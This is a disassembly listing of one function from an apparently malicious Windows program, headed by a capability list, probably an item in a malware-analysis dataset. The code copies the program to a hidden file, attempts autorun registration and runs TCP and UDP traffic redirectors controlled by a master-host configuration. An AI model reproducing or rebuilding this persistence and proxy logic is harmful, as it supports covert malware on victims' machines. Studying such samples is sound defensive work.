Function at 0x403795
Capabilities:
Copy file
Create process on windows
Delete file
Get common file path
Get file attributes
Initialize winsock library
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54c
mov eax, dword [0x4243b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, main
push ebx
mov ecx, eax
push esi
mov esi, dword [ebp + 0x10]
and ecx, 0xfff
sub eax, ecx
push edi
mov dword [ebp - 0x4e0], esi
xor ecx, ecx
sub eax, 0x1000
cmp byte [eax], 0x4d
jne 0x4037d5
cmp byte [eax + 1], 0x5a
je 0x4037dd
inc ecx
cmp ecx, 0x64
jl 0x4037c5
xor eax, eax
push eax
call fcn.00401d8c
pop ecx
push esi
lea ecx, [ebp - 0x364]
call fcn.00401372
push str._config
lea eax, [ebp - 0x364]
push eax
call fcn.00404216
or esi, 0xffffffff
cmp eax, esi
je 0x40380f
mov byte [0x426368], 1
push str._log
lea eax, [ebp - 0x364]
push eax
call fcn.00404216
cmp eax, esi
je 0x40382b
mov byte [0x426369], 1
push str._default_source
lea eax, [ebp - 0x364]
push eax
call fcn.00404216
cmp eax, esi
je 0x403847
mov byte [0x42636a], 1
lea ecx, [ebp - 0x4fc]
call fcn.00401a08
push esi
push 0
push eax
mov ecx, 0x425328
call fcn.0040142d
push 0
push 1
lea ecx, [ebp - 0x4fc]
call fcn.0040157d
cmp byte [0x426369], 0
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
je 0x4038c8
mov esi, str.log.txt
push esi
call edi
xor eax, eax
push eax
push eax
push 1
push eax
push 3
push 0x120116
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp byte [0x426369], 0
mov dword [ebp - 0x4d4], eax
je 0x4038c8
push 0
lea eax, [ebp - 0x4d8]
push eax
push 0x11
push str.Program_started_n
push dword [ebp - 0x4d4]
call ebx
call fcn.0040332e
test al, al
jne 0x4038f1
cmp byte [0x426369], al
je 0x4038f1
push 0
lea eax, [ebp - 0x4d8]
push eax
push 0x2c
push str.WARNING:_Cant_register_program_at_autorun_n
push dword [ebp - 0x4d4]
call ebx
lea eax, [ebp - 0x2d8]
push eax
push 1
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x403911
lea eax, [ebp - 0x48]
push eax
call fcn.0040317a
pop ecx
test al, al
jne 0x403954
cmp byte [0x426369], 0
je 0x403932
push 0
lea eax, [ebp - 0x4d8]
push eax
push 0x2b
push str.WARNING:_Cant_resolve_computer_ip_adress_n
push dword [ebp - 0x4d4]
call ebx
push 0
push 1
lea ecx, [ebp - 0x364]
call fcn.0040157d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040904e
leave
ret 0x10
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x148]
push str.Current_ip_adress:__s_n
push eax
call fcn.00409a82
add esp, 0xc
cmp byte [0x426369], 0
je 0x4039a1
lea eax, [ebp - 0x148]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40397e
push 0
sub eax, edx
lea ecx, [ebp - 0x4d8]
push ecx
inc eax
push eax
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 0x4d4]
call ebx
call fcn.00403261
mov dword [ebp - 0x4dc], eax
call fcn.0040327d
mov esi, eax
push esi
push dword [ebp - 0x4dc]
call fcn.00409a30
pop ecx
pop ecx
test eax, eax
je 0x4039d7
push esi
call edi
push 0
push esi
push dword [ebp - 0x4dc]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
or eax, 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x425348
call fcn.0040251a
mov ecx, esi
call fcn.00403630
test al, al
mov eax, esi
jne 0x403a19
call fcn.0040358e
mov eax, esi
call fcn.004034e6
mov ecx, esi
call fcn.00403630
test al, al
je 0x403a1e
mov eax, esi
call fcn.004034e6
cmp byte [0x426369], 0
je 0x403a3f
push 0
lea eax, [ebp - 0x4d8]
push eax
push 0x11
push str.Config_resolved_n
push dword [ebp - 0x4d4]
call ebx
mov esi, dword [0x4253d8]
push 0x10
pop eax
cmp dword [0x4253ec], eax
jae 0x403a55
mov esi, 0x4253d8
mov edx, dword [0x4253bc]
cmp dword [0x4253d0], eax
jae 0x403a68
mov edx, 0x4253bc
mov ecx, dword [0x425368]
cmp dword [0x42537c], eax
jae 0x403a7b
mov ecx, 0x425368
cmp dword [0x425360], eax
mov eax, dword [0x42534c]
jae 0x403a8d
mov eax, 0x42534c
movzx edi, byte [0x425401]
push edi
movzx edi, byte [0x425400]
push edi
push dword [0x4253f8]
push dword [0x4253fc]
push esi
push dword [str.PP55]
push dword [0x4253f4]
push edx
push ecx
push eax
lea eax, [ebp - 0x148]
push str.Config:_master__s___reserved__s___tcp__s:_d___d___udp__s:_d___d___die__d___pause__d__n
push eax
call fcn.00409a82
add esp, 0x30
cmp byte [0x426369], 0
je 0x403b02
lea eax, [ebp - 0x148]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403adf
push 0
sub eax, edx
lea ecx, [ebp - 0x4d8]
push ecx
inc eax
push eax
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 0x4d4]
call ebx
lea edi, [ebp - 0x3b8]
call fcn.00405c62
cmp dword [0x4253d0], 0x10
mov eax, dword [0x4253bc]
mov dword [ebp - fcn.00405bde], 0x421594
jae 0x403b2a
mov eax, 0x4253bc
push dword [str.PP55]
lea ecx, [ebp - 0x3b8]
push eax
push dword [0x4253f4]
lea eax, [ebp - 0x48]
push eax
call fcn.00405bde
cmp byte [0x426369], 0
je 0x403b67
push 0
lea eax, [ebp - 0x4d8]
push eax
push 0x18
push str.Tcp_redirector_started_n
push dword [ebp - 0x4d4]
call ebx
lea edi, [ebp - 0x408]
call fcn.00405c62
cmp dword [0x4253ec], 0x10
mov eax, dword [0x4253d8]
mov dword [ebp - fcn.00405bde], 0x4215a4
jae 0x403b8f
mov eax, 0x4253d8
push dword [0x4253f8]
lea ecx, [ebp - 0x408]
push eax
push dword [0x4253fc]
lea eax, [ebp - 0x48]
push eax
call fcn.00405bde
cmp byte [0x426369], 0
je 0x403bcc
push 0
lea eax, [ebp - 0x4d8]
push eax
push 0x18
push str.Udp_redirector_started_n
push dword [ebp - 0x4d4]
call ebx
lea eax, [ebp - 0x4d0]
push eax
mov edi, 0x425348
call fcn.004036b2
mov ecx, edi
call fcn.00403630
test al, al
je 0x403bef
mov eax, edi
call fcn.004034e6
mov esi, 0x425348
lea edi, [ebp - 0x4d0]
call fcn.00401eaa
xor edi, edi
test al, al
jne 0x403cfc
cmp byte [0x426369], al
je 0x403c28
push edi
lea eax, [ebp - 0x4d8]
push eax
push 0x15
push str.New_config_resolved_n
push dword [ebp - 0x4d4]
call ebx
push 0x10
pop eax
cmp dword [0x4253ec], eax
jb 0x403c41
mov ecx, dword [0x4253d8]
mov dword [ebp - 0x4dc], ecx
jmp 0x403c4b
mov dword [ebp - 0x4dc], 0x4253d8
mov edx, dword [0x4253bc]
cmp dword [0x4253d0], eax
jae 0x403c5e
mov edx, 0x4253bc
mov ecx, dword [0x425368]
cmp dword [0x42537c], eax
jae 0x403c71
mov ecx, 0x425368
cmp dword [0x425360], eax
mov eax, dword [0x42534c]
jae 0x403c83
mov eax, 0x42534c
movzx esi, byte [0x425401]
push esi
movzx esi, byte [0x425400]
push esi
push dword [0x4253f8]
push dword [0x4253fc]
push dword [ebp - 0x4dc]
push dword [str.PP55]
push dword [0x4253f4]
push edx
push ecx
push eax
lea eax, [ebp - 0x148]
push str.New_config:_master__s___reserved__s___tcp__s:_d___d___udp__s:_d___d___die__d___pause__d__n
push eax
call fcn.00409a82
add esp, 0x30
cmp byte [0x426369], 0
je 0x403cfc
lea eax, [ebp - 0x148]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403cda
push edi
sub eax, edx
lea ecx, [ebp - 0x4d8]
push ecx
inc eax
push eax
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 0x4d4]
call ebx
cmp byte [0x425400], 0
jne 0x40407d
cmp byte [0x425402], 0
jne 0x404082
cmp dword [0x425404], edi
jg 0x403fb6
cmp byte [0x425401], 0
je 0x403d98
cmp dword [ebp - 0x3b4], 0xffffffff
je 0x403d5f
lea ecx, [ebp - 0x3b8]
call fcn.00405c4d
cmp byte [0x426369], 0
je 0x403d5f
push edi
lea eax, [ebp - 0x4d8]
push eax
push 0x18
push str.Tcp_redirector_stopped_n
push dword [ebp - 0x4d4]
call ebx
cmp dword [ebp - 0x404], 0xffffffff
je 0x403e44
lea ecx, [ebp - 0x408]
call fcn.00405c4d
cmp byte [0x426369], 0
je 0x403e44
push edi
lea eax, [ebp - 0x4d8]
push eax
push 0x18
push str.Udp_redirector_stopped_n
jmp 0x403e3c
cmp dword [ebp - 0x3b4], 0xffffffff
jne 0x403dec
cmp dword [0x4253d0], 0x10
mov ecx, dword [0x4253bc]
jae 0x403db5
mov ecx, 0x4253bc
mov eax, dword [str.PP55]
push eax
push ecx
push eax
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x3b8]
call fcn.00405bde
cmp byte [0x426369], 0
je 0x403dec
push edi
lea eax, [ebp - 0x4d8]
push eax
push 0x18
push str.Tcp_redirector_started_n
push dword [ebp - 0x4d4]
call ebx
cmp dword [ebp - 0x404], 0xffffffff
jne 0x403e44
cmp dword [0x4253ec], 0x10
mov eax, dword [0x4253d8]
jae 0x403e08
mov eax, 0x4253d8
push dword [0x4253f8]
lea ecx, [ebp - 0x408]
push eax
push dword [0x4253fc]
lea eax, [ebp - 0x48]
push eax
call fcn.00405bde
cmp byte [0x426369], 0
je 0x403e44
push edi
lea eax, [ebp - 0x4d8]
push eax
push 0x18
push str.Udp_redirector_started_n
push dword [ebp - 0x4d4]
call ebx
lea ecx, [ebp - 0x460]
mov eax, 0x4253b8
call fcn.00404aa6
test al, al
je 0x403e72
mov eax, dword [str.PP55]
cmp eax, dword [ebp - 0x428]
jne 0x403e72
mov eax, dword [0x4253f4]
cmp eax, dword [ebp - 0x424]
je 0x403eec
lea ecx, [ebp - 0x3b8]
call fcn.00405c4d
cmp byte [0x426369], 0
je 0x403e9d
push edi
lea eax, [ebp - 0x4d8]
push eax
push 0x18
push str.Tcp_redirector_stopped_n
push dword [ebp - 0x4d4]
call ebx
cmp dword [0x4253d0], 0x10
mov eax, dword [0x4253bc]
jae 0x403eb0
mov eax, 0x4253bc
push dword [str.PP55]
lea ecx, [ebp - 0x3b8]
push eax
push dword [0x4253f4]
lea eax, [ebp - 0x48]
push eax
call fcn.00405bde
cmp byte [0x426369], 0
je 0x403eec
push edi
lea eax, [ebp - 0x4d8]
push eax
push 0x18
push str.Tcp_redirector_started_n
push dword [ebp - 0x4d4]
call ebx
lea ecx, [ebp - 0x444]
mov eax, 0x4253d4
call fcn.00404aa6
test al, al
je 0x403f1a
mov eax, dword [0x4253f8]
cmp eax, dword [ebp - 0x420]
jne 0x403f1a
mov eax, dword [0x4253fc]
cmp eax, dword [ebp - 0x41c]
je 0x403f94
lea ecx, [ebp - 0x408]
call fcn.00405c4d
cmp byte [0x426369], 0
je 0x403f45
push edi
lea eax, [ebp - 0x4d8]
push eax
push 0x18
push str.Udp_redirector_stopped_n
push dword [ebp - 0x4d4]
call ebx
cmp dword [0x4253ec], 0x10
mov eax, dword [0x4253d8]
jae 0x403f58
mov eax, 0x4253d8
push dword [0x4253f8]
lea ecx, [ebp - 0x408]
push eax
push dword [0x4253fc]
lea eax, [ebp - 0x48]
push eax
call fcn.00405bde
cmp byte [0x426369], 0
je 0x403f94
push edi
lea eax, [ebp - 0x4d8]
push eax
push 0x18
push str.Udp_redirector_started_n
push dword [ebp - 0x4d4]
call ebx
mov eax, dword [0x425408]
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea esi, [ebp - 0x4d0]
call fcn.00401e62
jmp 0x403bcc
call fcn.00403261
cmp byte [0x426369], 0
mov esi, eax
je 0x403fd2
push dword [ebp - 0x4d4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x425404]
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x44
pop edi
push edi
xor ebx, ebx
lea eax, [ebp - 0x548]
push ebx
push eax
call fcn.0040e530
mov dword [ebp - 0x548], edi
xor eax, eax
lea edi, [ebp - 0x4f0]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
lea eax, [ebp - 0x348]
push eax
push 0x200
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x4f0]
push eax
lea eax, [ebp - 0x548]
push eax
lea eax, [ebp - 0x348]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x4e0]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
lea esi, [ebp - 0x4d0]
call fcn.00401e62
xor esi, esi
lea ecx, [ebp - 0x408]
call fcn.00405c8d
lea ecx, [ebp - 0x3b8]
call fcn.00405c8d
push ebx
push 1
lea ecx, [ebp - 0x364]
call fcn.0040157d
mov eax, esi
jmp 0x403943
call fcn.00403395
lea esi, [ebp - 0x4d0]
call fcn.00401e62
lea ecx, [ebp - 0x3b8]
call fcn.00405c4d
cmp byte [0x426369], 0
je 0x4040b8
push edi
lea eax, [ebp - 0x4d8]
push eax
push 0x18
push str.Tcp_redirector_stopped_n
push dword [ebp - 0x4d4]
call ebx
lea ecx, [ebp - 0x408]
call fcn.00405c4d
cmp byte [0x426369], 0
je 0x404118
push edi
lea eax, [ebp - 0x4d8]
push eax
push 0x18
push str.Udp_redirector_stopped_n
push dword [ebp - 0x4d4]
call ebx
cmp byte [0x426369], 0
je 0x404118
push edi
lea eax, [ebp - 0x4d8]
push eax
push 0x11
push str.Program_stopped_n
push dword [ebp - 0x4d4]
call ebx
cmp byte [0x426369], 0
je 0x404118
push dword [ebp - 0x4d4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
inc esi
xor ebx, ebx
jmp 0x404052